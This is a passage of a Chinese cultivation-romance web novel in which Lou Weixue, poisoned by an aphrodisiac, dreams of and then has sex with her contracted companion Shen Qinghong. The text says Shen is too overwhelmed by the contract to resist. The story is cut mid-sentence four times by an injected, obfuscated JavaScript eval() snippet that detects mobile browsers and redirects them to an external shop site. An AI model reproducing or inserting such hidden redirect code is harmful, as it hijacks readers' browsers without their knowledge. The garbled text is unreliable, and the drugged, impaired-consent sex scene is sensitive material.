可娄危雪却感觉自己的身体出了状况,她总是时不时感觉到身体燥热,似乎有股无名之火一点点的从她的身体深处烧起,这个状况,和之前她中合欢散的时候很是相像。 该不会是那天晚上中的合欢散还没有解开吧! 现在小屋里除了她,住的还有神仙姐姐,如果她合欢散发作了,那该如何是好。 娄危雪没有办法,思索再三后只能选择找自己的医修朋友想办法。 她拿出特制的传信用纸,将自己身上的异常和中了合欢散的事情写到纸上,然后把这张信纸叠成了纸鹤。 走出房门,娄危雪把纸鹤捧在掌心,默念口诀。 一道金光闪过,纸鹤竟然动了起来,缓缓朝着高空飞去,没多久就消失在黑暗的夜色中。 看着飞远的纸鹤,娄危雪念叨着:“寄春啊寄春,我这全靠你了,你可千万得救救我啊。” 眨眼间,又是一天过去,也离上次中合欢散的日子越来越近。 娄危雪每天都在等着李寄春的回信,直到这天。 早上娄危雪正在外面打水,头顶有声音传来。 她抬头看去,只见一只木鸢从空中飞下,落在她的面前。 娄危雪惊喜,这是寄春来信啦! 她连忙把木鸢上的东西拆下,拿出信件。 李寄春在信上说,合欢散是合欢宗的秘药,每个月都会发作一次,只有拿到合欢宗的解药才能彻底摆脱。 虽然合欢宗的人喜欢使用合欢散,但是对合欢散的解药却把控的十分严格,寻常人根本就拿不到。 李寄春没有办法解她身上的合欢散,只能暂时延缓合欢散的发作。 至于药方和所需要用到的药材,李寄春也都一股脑的全部让木鸢给带来了。 娄危雪叹了口气,李寄春说没有办法,那恐怕是真的没有办法了。 毕竟她的这个医修朋友,特别喜欢钻研一些奇奇怪怪的病,越是冷门不好治的病,她越喜欢。 因此帮人解了不少的疑难杂症,名声斐然。 拿起木鸢送来的药材,娄危雪按照李寄春写的办法熬煮起来。 她愁眉苦脸的撑着个下巴坐在门口,看着药炉底下的火焰,眼下只能先按照寄春的方法吃药,来延缓合欢散的发作,至于解药,那就只能等以后再想办法了。 苦涩的药香随着熬煮逐渐蔓延,娄危雪把熬煮好的药倒入木碗中,端到屋内冷着,然后就去做别的事情了。 两刻钟后,娄危雪出门回来,准备去把自己的药给喝了,结果就看到一只冷白的玉手端起药碗,送至唇边。 娄危雪连忙喊道:“啊,等等!这……” 这是我的药…… 沈清鸿拿着空碗,站在桌边,眼神里满是疑惑。 “怎么了?” 这些天,娄危雪为了能够让沈清鸿恢复身体,经常去山里采草药,然后煎给沈清鸿喝。 刚刚沈清鸿应该是误以为,那碗药是自己煮给她喝的。 也怪自己,没有事先想到这点。 不过沈清鸿喝都喝了,她也不能让人吐出来吧。 况且,合欢散这种事情,娄危雪也不好意思告诉沈清鸿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593601|143258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她把药碗从沈清鸿手里拿出,露出一个笑容。 “没事,我只是怕你烫到。” 沈清鸿没有多想,“这个已经不烫了。” “那就好。” 娄危雪拿着空药碗走出房门,李寄春只给她寄了一份药材过来,这份药被沈清鸿喝了,她还得要一份才是。 她把自己的情况写了出来,让飞来的木鸢把信带走。 看着飞远的木鸢,娄危雪在心底默念,但愿她能坚持到寄春把第二份药寄过来,希望这中间不要再出什么差错了。 可惜天不遂人愿。 夜里,娄危雪睡在地铺上,感觉身体涌上一股又一股的热意。 她将领口的衣服扯的开了些,试图缓解燥意,可是并没有什么作用。 被热意折磨的娄危雪翻来覆去,干脆直接起身推门走了出去。 屋侧小溪在月色下缓缓流淌,娄危雪走过去,她伸手试图引起溪水来缓解身上的热意,这时,一阵脚步声从她身后传来。 娄危雪转过身去,沈清鸿穿着单薄的里衣,正站在她的身后。 她记得自己出来的时候,沈清鸿已经睡着了。 “是我把你吵醒了吗?” 沈清鸿并未言语,一双眸子盯着娄危雪,里面似有水波荡漾。 娄危雪被盯的有点尴尬,不知道要怎么解释自己晚上不睡觉跑来溪边的事情。 “那个,我……” 正在娄危雪绞尽脑汁的找理由时,沈清鸿动了。 她迈步向前走了几步,两个人之间的距离一下子拉的极近。 柔软的指尖抚摸上娄危雪的唇,娄危雪怔忪几秒,只感觉唇上似有一团火焰,从唇上一直烧到了心底。 娄危雪眼神暗下,嗓音低哑几分。 “姐姐你……” 沈清鸿的手指再次点了点娄危雪的唇,她摇摇头,不让娄危雪说话。 娄危雪后面的话便全止在了嘴边,她静静等着,不知道沈清鸿想要做什么。 见那唇不动了,沈清鸿却笑了,那笑如冰雪消融,似有百花绽放。 平常沈清鸿鲜少有什么表情,可现在,美人身着单衣,如墨的黑发散乱的披在身后,唇色如樱,眉梢眼尾皆是潋滟的春色。 娄危雪看的眼睛都直了,只觉心里的火烧的更旺盛了,而偏偏,这美人还是个会添火的。 “你不亲我吗?” 美人含笑,嗓音清悦,如玉石落地。 这谁能受得了! 娄危雪再也压抑不住,伸手揽住沈清鸿纤细的腰身,吻上沈清鸿的唇瓣。 沈清鸿的里衣很薄,两人抱的这么紧,娄危雪能感受到沈清鸿肌肤上传来的温度。 一时间,娄危雪只感觉更热了。 她伸手解下沈清鸿身上的衣服,手指给沈清鸿带来阵阵战栗,惹得人喘息连连。 破碎的声音从沈清鸿唇边泄出,又叫娄危雪堵了回去。 她把沈清鸿压在柔软的草地上,两人交缠在一起,如游鱼随着水波荡漾。 可是那水却越涨越大,最后竟兜头朝朝娄危雪泼来,像是要把人溺死在水里。 娄危雪猛然坐起,身上燥意消散,冰凉的冷水顺着她的头发往下滴落。 她看着被洇湿的床铺,有些回不过神。 9. 第 9 章 沈清鸿站在旁边,见娄危雪醒了冷哼一声,丢开手中茶杯,转身离去。 听到动静的娄危雪愣愣抬头,刚好看到一个冷清的背影,心里顿时惊涛骇浪。 “姐……姐?” 白色的衣摆在空中滑出一道优美的弧度,她抬手下意识的朝那人抓去,衣摆擦着掌心溜走,什么都没能抓到。 看着空荡荡的掌心,娄危雪眨了两下眼睛,有水滴从她的发丝上滴落,像是砸在她的心里。 夜晚的梦境顿时如潮水般奔涌而来,娄危雪猛然捂住自己的脸,脸色爆红,恨不能将自己挖个坑埋了。 啊啊啊啊!她怎么会做那样的梦! 她是个混蛋!都在梦里对姐姐干了什么啊!!! 虽然姐姐长的确实好看,但是她怎么能那么想姐姐呢!还对姐姐酱酱酿酿的! 虽然很快乐,但是…… 姐姐突然泼了她一杯水,不会是她做梦的时候说了什么不该说的,然后被姐姐听到了吧! 天呐!毁灭吧!她没有脸面再见姐姐了! 屋内娄危雪埋头自闭,屋外沈清鸿拿着佩剑舞的虎虎生风,一招一式之间充满杀气。 她是娄危雪的契约灵兽,娄危雪身上有什么问题也会间接的影响到她。 昨天晚上,沈清鸿睡梦间只觉得身体燥热无比,思绪飘飘忽忽,如风中树叶不知怎的飘到一具身体中。 或许因为她不是梦境主人的缘故,她根本无法操控梦里的身体,只能被动的承受,体会着自己对那人投怀送抱,云雨巫山。 好不容易从梦境里挣脱,沈清鸿睁眼就听到娄危雪的暧昧呓语。 “姐姐,你喜欢我这样吗?” “别哭,我会轻点的。” 沈清鸿的脸当即就黑了,下床走到娄危雪打的地铺前,泼了娄危雪一脸水。 如果不是看在娄危雪救了她两次的分上,她早就已经一剑捅上去了。 看来她这几天对娄危雪真是太仁慈了! 沈清鸿愤愤的练着剑,均湘剑刃锋利,在沈清鸿的挥舞下绽出道道冷芒,剑光逼人。 娄危雪不知什么时候,从屋内走出,她想去和沈清鸿道歉,但是关于合欢散和梦境的这个事情又不好说。 可真是要了命了。 她踌躇半天没有上前,只是撑着下巴蹲在屋檐下,看着浑身杀气腾腾的沈清鸿,发愁的揪着自己的头发。 晨风中,沈清鸿白衣猎猎,身姿修长,她的每一次出剑都极具力量感,手腕轻轻旋转,手中的长剑也随之如闪电般快速闪动,带着破空的风声,脚下腾挪,剑光在空中画出一道弧度,女子的纤腰也随之弯去。 娄危雪不知不觉的看痴了去,揪着头发的手指逐渐滑落。 姐姐的腰很细,昨晚她抱着人的时候,只用一只手便能将人圈住。 还有那腿,修长笔直,骨肉停匀,伸手掐上去的时候,轻易的便能留下一圈指痕。 姐姐的皮肤很白,所以很容易便能留下痕迹,有吻落下,便如朵朵红花在她的身体上绽放。 娄危雪眼神逐渐变暗,身体变得躁动,一股热意缓缓升起。 原本在练剑的沈清鸿受到影响,手下动作微滞,她恼怒的瞪向娄危雪,一眼就看出来,娄危雪没在想什么好东西。 沈清鸿嗓音冰冷,如冬日的井水,“再看我就挖了你的眼珠子!” 她举剑威胁,划出一道剑风。 寒芒闪过,娄危雪鬓边的一缕长发断落,随风飘下。 娄危雪满脑子的春色瞬间消失,她尴尬的朝沈清鸿笑了一下,撑着膝盖站起身。 “咳,那什么,我去做饭。”话音落下,娄危雪头也不回的转身离开。 走到后院,娄危雪处理好食材,放入锅内,然后升起炉火。 看着明灭的火光,她在心底暗自唾弃自己。 “娄危雪啊,娄危雪,你可真不是个东西,姐姐的伤都还没养好,你竟然还想那些有的没的!” 可是思绪这个东西,又怎么是人能随意控制的。 娄危雪盯着燃烧的木头,目光逐渐飘散,她的唇角擒着一抹微笑,不知道想到了什么,时不时的还会笑出声。 炉灶底下的火越烧越旺,一截火星在娄危雪没注意的时候跳跃上她的袖摆,顺着袖摆往上烧起。 还在神游的娄危雪只感觉越来越热,飘远的思绪总算是回归些许。 “嗯?怎么这么热?” 下一秒,娄危雪低头便看到烧起来的袖子。 “嗷嗷嗷!火!有火!” 情急之下,娄危雪都忘记自己是个修仙的会使用法诀了,她在原地焦急的转了两圈,看到角落里的水缸如逢甘露,猛地冲去将半个身子浸在了水里。 衣服上的火总算熄灭,娄危雪宛若劫后余生般松了口气。 她用法诀把衣服弄干,收拾好被她弄的一片水迹的伙房,掀开锅看了下里面炖的东西。 嗯,很好,没什么问题,还可以继续炖。 娄危雪重新在炉灶前的小板凳上坐下,给自己默默鼓劲。 “打起精神啊,娄危雪,你莫要再胡思乱想了!” 半个时辰后,娄危雪端着做好的饭菜走入小屋中。 沈清鸿看了眼放在桌上的盘子,里面乌漆嘛黑的,散发着阵阵糊味,根本看不出做的是什么东西。 在小屋里住了这么多天,沈清鸿这还是第一次看娄危雪把饭做成这样。 她抬头看了眼娄危雪,只见那人原本白净的面颊上多了几道黑色,头发的末尾还有被烧过的痕迹,身上长袍的衣袖断了半截,露出光洁的手臂。 偏偏娄危雪对此还毫不自知,双目无神,明显还在神游中。 她现在做的一切,不过是来自于过往的习惯。 娄危雪唤道:“吃饭了,姐姐。” 虽然对她们这种修行之人来说,吃一顿这样的饭要不了命,顶多会腹痛几天,但是沈清鸿并不想勉强自己。 “我不吃。”沈清鸿冷漠拒绝,“你最好也不要吃。” “嗯?”娄危雪终于回过神,看清盘子里的东西,恨不得钻到地里去。 “咳,这是个意外,我今天在研究新菜式,有点没掌控好火度。”她说着端起桌上的盘子,“姐姐,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593602|143258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先等等啊。” 娄危雪把盘子撤下,跑去后厨,取了些野果洗净后重新端回来。 “那什么,姐姐你吃果子吧,我都洗干净了。” 沈清鸿挑眉看了她一眼,什么都没说。 食不知味的吃完一顿早饭,娄危雪回到伙房,才发现伙房里一片乱。 锅盖被扔在边上,锅底黑乎乎的糊了东西,地上一片都是水,不少柴火都被水打湿了。 娄危雪懊恼的拍了下自己的脑袋,她这一早上都在干什么啊! 一定是合欢散影响了她,这样下去不行! 好不容易收拾完伙房,娄危雪拿出传信纸给李寄春传信,催促李寄春快点把药寄来。 她担心再晚几天,她就控制不住自己了。 纸鹤飞走远去,娄危雪拿起桌布开始擦起桌子。 沈清鸿正坐在窗边的椅凳上打坐,晨光从窗外洒入,在她的身上笼罩上一层淡淡的光晕。 虽然沈清鸿已经警告过娄危雪,可是娄危雪根本控制不住自己,她手上还在擦着桌子,可是视线已经不受控制的朝沈清鸿瞥去。 啊,姐姐真的很好看,她上辈子和这辈子加起来都没见到过这么好看的人。 看了几眼之后,娄危雪又反应过来沈清鸿不喜欢自己看她。 娄危雪把视线收回,但是没擦两下桌子,眼睛像是有自己的想法般,又看了过去,她总是会不自觉的被沈清鸿吸引。 再看一眼,就一眼! 一眼之后是两眼,两眼之后是更多眼。 不知不觉间,娄危雪的脚步无意识的朝沈清鸿靠去,她从擦桌子,变成了擦柱子,到擦各种东西,而且离沈清鸿越来越近。 最终,娄危雪拿着桌布,擦上沈清鸿身后窗户的边框。 淡淡的冷香钻入娄危雪的鼻腔,那味道像是雪峰上的花,在一个晴朗的午后盛开了。 娄危雪擦着东西的手渐渐停了下来,她的视线流连在沈清鸿的身上,久久不愿离开。 姐姐身上真好闻,昨晚抱起来的时候身体软软的。 谁会不喜欢又香又软的美人呢? 娄危雪只是想了几下,就感觉身体燥热,一股热流直冲鼻腔。 沈清鸿从打坐时,就感觉到有一道灼热的视线在自己身上流连,她一直隐忍着没有发作。 可是现在,清心咒都压不下她身上被带起的燥意。 该死的!娄九寒又在想什么乱七八糟的东西! 沈清鸿恼怒睁开眼睛,目光中是森森冷意。 “你想死吗?” 两人的视线在半空中对上,娄危雪感觉先前的那股热流涌了上来,鼻端湿漉漉的,好似有什么东西流了出来,然后又落下。 下一瞬,红色的血液在沈清鸿的肩头绽开,一滴滴的血落在沈清鸿的肩头,而且越来越多。 娄危雪愣了几秒,随后猛然捂住自己的鼻子。 沈清鸿的脸顷刻间就乌云密布,宛如暴雨倾盆。 她一言未发,伸手拔出了均湘剑。 剑刃锋利,在天光的照耀下散发出冰冷寒芒,映照入娄危雪的眼中。 10. 第 10 章 娄危雪猛然睁大眼睛,“别!姐姐,我可以解释的!” 她伸手想要去按沈清鸿拿剑的手,结果忘记之前用手捂过鼻子,成功的在沈清鸿的衣袖上留下一抹痕迹。 “娄九寒!” 沈清鸿额头青筋直跳,她的脸色更加阴沉,清冷如月的眼眸中闪烁着冰冷的亮光。 娄危雪哆嗦一下,快速把手收了回去。 啊啊啊!她是猪吗!偏偏在这个时候犯错! 沈清鸿会不会气的直接一剑把她给捅了,娄危雪吓的赶紧委屈巴巴解释:“姐姐,我不是故意的!” 沈清鸿不再给娄危雪辩解的机会,举剑朝娄危雪袭去。 剑光转瞬便到,娄危雪脚下挪动,急忙的朝后退去,几步便跑出了小屋。 沈清鸿却不打算就这么放过她,在她身后紧追不舍。 碍于沈清鸿还受着伤,娄危雪根本不敢还手,只能被动的防守。 可是沈清鸿是什么人,就算没有修为护身,只是单纯的使用剑招身法,就足够娄危雪喝一壶了。 娄危雪不停闪躲,但时不时的便会被剑身抽上那么一下,打的她嚎叫连连。 “姐姐啊!我真的不是故意的,刚刚那只是个意外。” “意外?”沈清鸿冷笑,抬手又给了沈清鸿一下,“我手滑了,这也是个意外!” 随着沈清鸿的话,剑身毫不留情的打在娄危雪的手背上,留下一道显眼的红痕。 娄危雪立刻惨叫一声,“姐姐你轻点诶!我这手还得给你做饭熬药的!” 可是沈清鸿根本不听,追着人打了好久,才消了点气。 沈清鸿的身体还没彻底恢复,停下之后便觉得身体软的厉害,她走入小屋,坐在椅凳上休息。 娄危雪身上的衣服被剑划破了几个口子,头发乱的不行,不过身上除了沈清鸿最开始抽在手上的那处比较痛外,别的倒是没太多的感觉。 她知道,沈清鸿还是心软,手下留了情。 见沈清鸿像是累到了,娄危雪把自己手上和鼻子上的血清洗干净,然后倒了杯水,端到沈清鸿面前。 “姐姐,你追了我这么久,伤口没事吧。” 沈清鸿冷哼一声,接过娄危雪递来的茶水喝了一口,然后回道:“如果不想我打你,你就管好你自己!” “其实我就是最近有点上火。” 娄危雪低头抠着手指,这话说出来,她自己都不太有底气。 可是她又不能告诉沈清鸿,她是中了合欢散,然后沈清鸿把她的药给喝了,她才会做春梦,变成这样的。 沈清鸿恼怒的瞪了娄危雪一眼,这心虚的模样,叫她怎么能够相信。 什么上火,明明就是娄九寒脑子里的想法太多了!别以为她不知道娄九寒总是在偷偷摸摸的看她! 沈清鸿放下茶杯,杯底磕在桌面上,发出一声清脆的声响。 “上火是吧?” 娄危雪的身体随着响动,颤抖了一下,但还是咬牙坚持。 “对,只是上火,我绝对没有别的想法。” 沈清鸿眼睛微微眯起,好一个没有别的想法,真是此地无银三百两! 她站起身,从座位上离开,娄危雪的视线跟随着沈清鸿而移动。 这座山上灵植充沛,之前因为沈清鸿受伤,娄危雪去山里采摘了不少种类的草药回来,沈清鸿曾去看过,其中有几种草药搭配在一起,可以泻火。 虽然沈清鸿不是医修,但是这种常见的药材和药方她还是知道的。 娄危雪跟在沈清鸿伸手,就见沈清鸿走到装草药的桌柜前,从里面取出了几种药。 “姐姐,你突然拿药干什么?” 沈清鸿淡淡瞥了娄危雪一眼,然后一言不发,走出房门。 她把药材处理了一下,分好剂量放入煮药的小砂锅中,加上水点火熬煮起来。 娄危雪哪好意思叫病患动手,更何况这个病患还是她做梦的对象。 “姐姐,你放着让我来煮就好。” 娄危雪说着,伸手想要去拿沈清鸿手中煽火的小扇子,结果被沈清鸿瞪了一眼。 “给我老实待着。” 这一眼让娄危雪彻底老实了,根本不敢多说话,默默的把自己的手又收了回去。 不过沈清鸿坐在小板凳上煮药的时候,娄危雪没有离开,她抱着膝盖蹲在沈清鸿的旁边,默默数地上路过的蚂蚁。 天上云朵散开又聚拢,半个时辰过去了,药味弥漫。 沈清鸿用布包住砂锅一侧的手柄,然后把里面的药汁全部倒入了一个小碗之中。 等药凉下,沈清鸿把药碗递到娄危雪面前,薄唇微启,冷漠的吐出一个字。 “喝!” 娄危雪抬头看了眼沈清鸿的神色,根本就不敢多问,咕嘟嘟的一口喝下。 药很苦,喝完之后,娄危雪不停的吐着舌头,小脸皱成一团。 “姐姐,这是什么药啊?” “这是毒药,你快死了。” 沈清鸿面无表情,她这几天的药都是娄危雪煮的,以至于她完全没想到娄危雪竟然看不出她煮的药是什么。 可是尽管这样,娄危雪竟然还把药喝下去了,她真不知道该说娄危雪什么好。 娄危雪当然没有傻到相信沈清鸿的话,从刚刚姐姐用剑打她的时候,她就能看出来。 姐姐虽然看着冰冷无情,但是心肠可软了。 她眨眼露出一个笑容,“怎么可能?姐姐才不会让我喝毒药呢。” “怎么不可能?”沈清鸿反问,“你我之间不过萍水相逢,你不知道我的来历,我亦不清楚你的身份。” 娄危雪摇头,“不对,姐姐和我相处这么多天,如果想要害我,早就有机会动手了,完全不用等到现在,而且还是用这种方式。” 沈清鸿盯着娄危雪看了几秒,得出结论,看来这是个傻子。 娄危雪还不清楚她在沈清鸿的眼里,已经和傻子画上等号了。 扬着一张小脸,追问着:“所以姐姐,这到底是什么药啊,好苦。” 沈清鸿瞥了她一眼,解释道:“这是下火的药,你不是上火吗?正好喝这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593603|143258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个药,来去去你身上的火。” 娄危雪郁闷不已,好吧,下火药就下火药吧,最近她确实有点气血旺盛。 将喝空的药碗放下,娄危雪转身进屋,找了件自己的衣服出来。 她眼神飘忽,尴尬的指了指娄危雪的肩头。 “姐姐,你身上的衣服脏了,你把衣服脱下来换我这个。” 提到这个,沈清鸿没好气的瞪了娄危雪一眼,如果不是娄危雪,她身上的衣服怎么会脏! 之前沈清鸿被人追杀,身上的衣服早就已经破了,她这几天穿的都是娄危雪的衣服,两人身形相仿,所以沈清鸿穿着倒也合适。 接过娄危雪递来的衣服,沈清鸿走回房屋,将带血的衣服换下。 她新换上的这身长裙是淡绿色的,穿在沈清鸿身上,更衬得她肤白如玉,人如修竹。 娄危雪过来取脏衣服的时候,差点又看直了眼,好险才在沈清鸿发现前,把眼神挪开。 她把脏衣服收走,来到小溪边,看着上面的血迹,叹了口气,用力的揉搓着衣服上的鲜血。 娄危雪从来没有哪个时候像现在这般,思念李寄春。 其实如果不是李寄春那张药方上的药材她没有,娄危雪早就自己动手熬药了。 “春啊,我可就靠你了。” 可惜娄危雪注定要失望了,一月之期逐渐逼近,李寄春那边不知道是出了什么变故,迟迟都没能把娄危雪需要的药材给寄过来。 终于,在一个晚上,娄危雪彻底没能压住体内的合欢散。 夜晚,娄危雪躺在地铺上,难以忽视的热意从她身体内阵阵袭来,冲击着她的神志。 “好热。” 娄危雪呼吸急促,此刻身上的所有东西都似乎变成了烈火,不断的灼烧着她的身体。 她扯开衣服,露出大片的肌肤,可仅仅是这样还是没有用,她需要更加清凉的东西来缓解身体的燥热。 “水……” 她需要水。 娄危雪挣扎着从地上爬起,摸索着想要往屋外走,可是没走几步,她的脚下不知道被什么东西跘了一下,身体失去平衡,朝一侧倒去。 预想中的疼痛没有袭来,娄危雪倒在一个软软香香的身体上。 那身体冰冰凉凉,贴上之后身上难耐的燥意都被压下许多。 她想要……更多…… 娄危雪手指微动,身下的身体一阵颤抖,几丝娇哼从那人口中泄出。 受到契约的影响,沈清鸿神识跟着昏胀起来,娄危雪抱住她的时候,她根本没有任何力气抵抗。 酥酥麻麻的痒意,带着难掩的燥热一路传到沈清鸿的脑中,她不由仰着修长的脖颈急促的呼吸着,清冷如玉的脸上此刻布满红晕。 可身上那人的动作越来越过分,密密麻麻的亲吻,叫人喘不过来气。 娄危雪感觉自己抱着一块甜丝丝的冰糖块,可那糖块却不太安分,总是动来动去的,娄危雪皱眉牢牢按住糖,俯身吻上。 屋内木床发出吱呀吱呀的响动,屋外月亮害羞的躲入云层之中。 11. 第11章 清晨的阳光透过窗户照入屋内,洒满一室光辉,木质的大床上,两个人儿抱在一起,相拥而眠。 有鸟雀飞过,落在窗边,歪头看着床上的两人,发出啾啾的声音。 沈清鸿眼睫颤抖,缓缓睁开眼睛。 入目便是娄危雪那张洁净无瑕的睡颜,她眨了下眼睛,酸痛之感瞬间传遍沈清鸿的全身,昨晚发生的一切冲击着沈清鸿的神经。 她眉心紧皱,眸光瞬间冷了下去。 砰—— 是重物落地的声音。 娄危雪呆愣愣地坐在地上,感觉周身突然掠过一股寒流,温度冷得可怕。 这股莫名的冷意,叫娄危雪混沌不已的大脑,一点点沉静下来。 像是回想起什么,娄危雪眼睛一点点睁大,她抬头朝床上看去,结果刚好对上沈清鸿冰冷的视线。 那目光中似有利刃,仿佛随时都能射出来直取人的性命。 可娄危雪并没有被这道目光吓住,反而在沈清鸿的注视中,逐渐想起来一些事情,山泉池边的画面出现在娄危雪的脑海中。 她猛然反应过来,“在山泉池的那晚不是我的梦境,其实我们早就……” “闭嘴!” 沈清鸿羞恼地打断娄危雪的话。 这傻子昨晚做出了那种事情,竟然还敢和她提山泉池那晚! 娄危雪讪讪闭嘴,她小心看了眼沈清鸿的神色,见沈清鸿面色绯红,身体颤抖,被她气得厉害。 她张口想要解释,“姐姐,我……我不是……” 她都把人家睡了,如果还说不是故意的,未免有点太不是人了。 娄危雪烦躁地抓了把头发,改了话头,“其实我没想到事情会变成这样……姐姐,我……你……” 感觉怎么说都不对劲,娄危雪张嘴语无伦次说了半天,也没把事情给讲明白。 而沈清鸿的脸也在她的几次解释中,越变越黑。 屋内气氛压抑,风雨欲来。 “滚出去。”沈清鸿的嗓音低沉得可怕。 娄危雪知道自己此刻不管怎么解释都像是借口,索性不再解释。 她抬头,目光澄澈,语气坚定。 “姐姐,我会对你负责的。” 沈清鸿瞪了娄危雪一眼,“我不要你负责。” “不行,这是我必须要负的责任。”娄危雪摇头,态度异常坚决,“我中了合欢散,如果不疏解的话,会爆体而亡,是姐姐你救了我,我会对姐姐你好的,绝对不会辜负你。” 沈清鸿有口难言,娄危雪是为了救自己才中的合欢散,而自己之所以和娄危雪滚在一起,完全是因为受到娄危雪这个契主的影响,说起来不过是互相帮助,自己根本谈不上救人。 “你不用……” 娄危雪见沈清鸿像是还要拒绝,立刻打断了她的话,神色是从未有过的认真。 “姐姐,我没有想要你一下子接受我,我只是在表明我的态度。” “一晚上过去,姐姐该饿了吧,我先去给你熬点粥。” 娄危雪说着站起身穿好衣服,没给沈清鸿再拒绝她的余地。 她走入后屋,原本镇定自若的神情瞬间崩塌,脚软地靠着墙壁。 刚刚在屋里的时候她真的好怕姐姐说再也不想见她,还好姐姐没有那么说! 还记得她捡回姐姐时,姐姐身受重伤,明显是有仇家的。 看来自己得努力变强,这样才能保护好姐姐。 娄危雪默默在心里,把自己每天修炼的时间又往上加了几个时辰。 等她煮好粥回去的时候,沈清鸿已经从床上下来了,正坐在窗边看着窗外不知道在想什么。 娄危雪微微一笑,把装着粥菜的木盘放到桌子上,然后悄摸摸的走到沈清鸿旁边。 她伸手在沈清鸿面前晃了两下,“姐姐,回神,吃饭啦。” 沈清鸿收回目光,没有搭理娄危雪。 她站起身,身体酸软,以至于脚下无力竟然朝边上倒去。 “小心!”娄危雪快速地伸手抓住沈清鸿的胳膊,把人揽在怀里,芳香顿时扑了满鼻。 沈清鸿并没有因此就给娄危雪好脸色,她站稳身体,额角青筋直跳,身体的异样,明晃晃地昭示着昨夜发生的事情。 她呵斥道:“放手!” 娄危雪面露犹豫,眉头纠结在一起。 “姐姐你身体不舒服,还是让我扶着你吧。” “我没有不舒服!”沈清鸿恼怒,清冷如雪的面颊染上薄怒,“再不放手,小心我剁了你的手!” “那……”娄危雪小心观察着沈清鸿的神色,见她脸色越来越难看,终究是选择妥协。 “好吧。” 叹了口气,娄危雪把手从沈清鸿的胳膊上挪开,只不过在沈清鸿走路的时候,娄危雪依旧小心地护在沈清鸿的身后,随时防止沈清鸿摔倒。 沈清鸿怎么会不明白娄危雪是什么意思,偏偏她不好说什么,最后黑着张脸走到桌边。 与沈清鸿的低气压相反,娄危雪像只勤劳的快乐小狗,不等沈清鸿动手,就伸手把椅子拉开。 “姐姐,坐。” 沈清鸿看了眼被拉开的椅凳,感觉眉心突突地跳。 在娄危雪期待的目光中,沈清鸿强压着心底的火气,调转脚下的步伐,几步走到对面自己拉开椅子坐下。 娄危雪傻眼,看了看沈清鸿,又看了看被自己拉开的椅子。 好吧,姐姐不坐就不坐吧。 娄危雪在沈清鸿对面坐下,她把早上做好的膳食,从木盘里端出。 “姐姐,我做的都是你爱吃的,而且这个对你恢复身体也有好处。” 面前的餐食基本全是些滋补身体的,加上娄危雪的话,沈清鸿真的很难不多想。 “我、不、爱、吃。”沈清鸿面无表情,一个字一个字地说着。 今天娄危雪做的是以前做过的东西,之前沈清鸿对这些从来没有说过什么。 娄危雪知道沈清鸿身子不爽利,心情不好,便没多说什么。 她好脾气地问道:“那姐姐你想吃什么,我去给你做。” “不用,今天我不吃了。” “这怎么能行,姐姐你身体不好,昨晚……” “闭嘴! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593604|143258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 沈清鸿目光如刀,身侧均湘剑震动,发出阵阵嗡鸣,如果娄危雪再说一个字,她真的不保证会造成什么后果。 娄危雪看了眼颤鸣不止的均湘剑,默默把剩下的话给咽了回去。 这时窗边传来两阵笃笃声,娄危雪顺着声音望去,看到前几天她期待到来的那只木鸢正停靠在窗边。 娄危雪开窗,把木鸢取进来,里面有新的一份草药和李寄春的来信。 李寄春在信上解释,师门这几天出了事情,所以才耽搁了,没能及时地把草药寄给娄危雪,不过她算着日子,不出意外的话,这草药是能赶在娄危雪身上的合欢散发作之前送到的。 娄危雪苦笑,寄春啊寄春,你这只木鸢刚好晚来一步,现在已经出意外了。 屋内无人言语,沈清鸿周身气压低沉,小屋中气氛压抑。 娄危雪偷偷瞄了眼沈清鸿的脸色,觉得这般下去不行,她要主动出击才好。 既然姐姐心情不好,那她就想办法让姐姐的心情变好! “姐姐,我出去一趟。” 将信纸和药材收好,娄危雪朝沈清鸿打了招呼之后,便离开小屋。 